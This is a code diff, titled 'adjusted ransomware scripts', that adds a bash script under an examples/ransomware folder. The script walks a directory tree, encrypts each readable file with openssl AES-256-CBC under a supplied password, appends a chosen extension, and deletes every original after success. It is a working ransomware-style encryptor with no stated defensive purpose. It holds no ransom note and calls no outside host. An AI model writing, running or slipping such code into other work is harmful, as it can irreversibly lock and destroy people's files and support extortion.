adjusted ransomware scripts

examples/ransomware/encrypt_files_recursive.sh

@@ -0,0 +1,55 @@
+#!/bin/bash
+
+# Check if the correct number of arguments is provided
+if [ "$#" -ne 3 ]; then
+  echo "Usage: $0 <directory> <encryption_key> <file_extension>"
+  exit 1
+fi
+
+folder="$1"
+password="$2"
+extension="$3"
+
+# Ensure the directory exists
+if [ ! -d "$folder" ]; then
+  echo "Directory $folder does not exist."
+  exit 1
+fi
+
+# Generate a unique initialization vector (IV) for each file
+generate_iv() {
+  openssl rand -hex 16
+}
+
+# Find all files in the directory and subdirectories
+find "$folder" -type f | while read -r file; do
+  # Skip if the file does not exist or is unreadable
+  if [ ! -r "$file" ]; then
+    echo "Skipping unreadable file: $file"
+    continue
+  fi
+
+  # Extract filename and extension
+  filename=$(basename "$file")
+  dirpath=$(dirname "$file")
+  base_name="${filename%.*}"
+  ext="${filename##*.}"
+
+  # Define the output file path by appending .encrypted to the original extension
+  output_file="$dirpath/${base_name}.${ext}.${extension}"
+
+  # Generate a unique IV
+  iv=$(generate_iv)
+
+  # Encrypt the file
+  echo "Encrypting $file to $output_file with IV $iv"
+  if openssl enc -aes-256-cbc -salt -in "$file" -out "$output_file" -k "$password" -iv "$iv" -pbkdf2; then
+    # If encryption is successful, remove the original file
+    rm "$file"
+    echo "Encrypted and removed $file."
+  else
+    # If encryption fails, print an error message
+    echo "Failed to encrypt $file."
+  fi
+done
+